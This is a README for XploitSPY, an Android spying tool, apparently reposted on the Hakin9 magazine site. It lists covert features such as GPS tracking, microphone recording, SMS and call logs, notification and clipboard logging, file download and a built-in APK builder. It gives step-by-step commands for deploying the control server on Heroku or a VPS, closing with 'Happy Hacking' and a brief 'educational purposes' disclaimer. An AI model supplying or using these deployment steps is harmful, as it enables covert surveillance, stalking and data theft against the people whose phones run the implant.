
A cloud based Android Spying or Monitoring Tool, powered by NodeJS
NOTE: Read all steps carefully to setup XploitSPY as we keep changing them as per need
Features
- GPS Logging
- Microphone Recording
- View Contacts
- SMS Logs
- Send SMS
- Call Logs
- View Installed Apps
- View Stub Permissions
- Live Clipboard Logging
- Live Notification Logging (WhatsApp, Facebook, Instagram, Gmail and more ....)
- View WiFi Networks (logs previously seen)
- File Explorer & Downloader
- Command Queuing
- Built-In APK Builder
Prerequisites
- Java Runtime Environment 9+
- See installation for OS specifics
- NodeJs
- A Server
Installation on Heroku
Video Tutorial for Heroku Click Here
- Create an Account on Heroku
- Click
Create New App
in Heroku Dashboard - Enter App Name and click on create an app
- Now install Heroku CLI on your Computer Instructions
- Now open your terminal and run the command
git clone https://github.com/XploitWizer/XploitSPY
- It will download Latest codes for you in your PC
- Now change the directory to XploitSPY using the command
cd XploitSPY
- Now Login into Heroku CLI using the command
heroku login -i
now enter your login details and hit Enter - After Login run this command in terminal
heroku git:remote -a appName
here appName will be your app's name that you choose while creating the app. - Now run following commands in terminal to install packages
heroku buildpacks:add heroku/jvm
then run
heroku buildpacks:add heroku/nodejs
- Now run this command in your terminal
git push heroku master
, if updating the existing app or face any error run this commandgit push -f heroku master
1 - All done now it will take time to complete, after that you can visit your domain shown in terminal.
Installation on VPS or Server
Video Tutorial for VPS or Server Click Here
- Connect to your server via SSH
- Install JRE 9+
- Debian, Ubuntu, Etc
sudo apt install openjdk-11-jre-headless
- Fedora, Oracle, Red Hat, etc
sudo yum install java-11-openjdk-devel"
- Windows
- click HERE for downloads
- Debian, Ubuntu, Etc
- Install NodeJS Instructions Here (If you can't figure this out, you shouldn't really be using this)
- install PM2
sudo npm install pm2 -g
- Clone this repository
git clone https://github.com/XploitWizer/XploitSPY.git
- Now change to the server directory and run these commands
npm install
<- install dependenciessudo pm2 start index.js
<-- start the scriptsudo pm2 startup
<- to run XploitSPY on startup
- Default Username: admin & Default Password: password
- In your browser navigate to
http://<SERVER IP or URL>
NOTE: XploitSPY now works only on port 80 for both web and client
It's recommended to run XploitSPY behind a reverse proxy such as NGINX
Happy Hacking
Disclaimer
XploitWizer Provides no warranty with this software and will not be responsible for any direct or indirect damage caused due to the usage of this tool. XploitSPY is built for Educational purposes. Use at your own risk.
Made with ❤️ By XploitWizer
Credits
Credits to D3VL for the original code base this repository is based on at L3MON
Author

- Hakin9 is a monthly magazine dedicated to hacking and cybersecurity. In every edition, we try to focus on different approaches to show various techniques - defensive and offensive. This knowledge will help you understand how most popular attacks are performed and how to protect your data from them. Our tutorials, case studies and online courses will prepare you for the upcoming, potential threats in the cyber security world. We collaborate with many individuals and universities and public institutions, but also with companies such as Xento Systems, CATO Networks, EY, CIPHER Intelligence LAB, redBorder, TSG, and others.
Latest Articles
Blog2022.12.13What are the Common Security Weaknesses of Cloud Based Networks?
Blog2022.10.12Vulnerability management with Wazuh open source XDR
Blog2022.08.29Deception Technologies: Improving Incident Detection and Response by Alex Vakulov
Blog2022.08.25Exploring the Heightened Importance of Cybersecurity in Mobile App Development by Jeff Kalwerisky
Thanks for an awesome blockchain development guide. As a team member of a blockchain development company I have a thirst of knowledge for blockchain.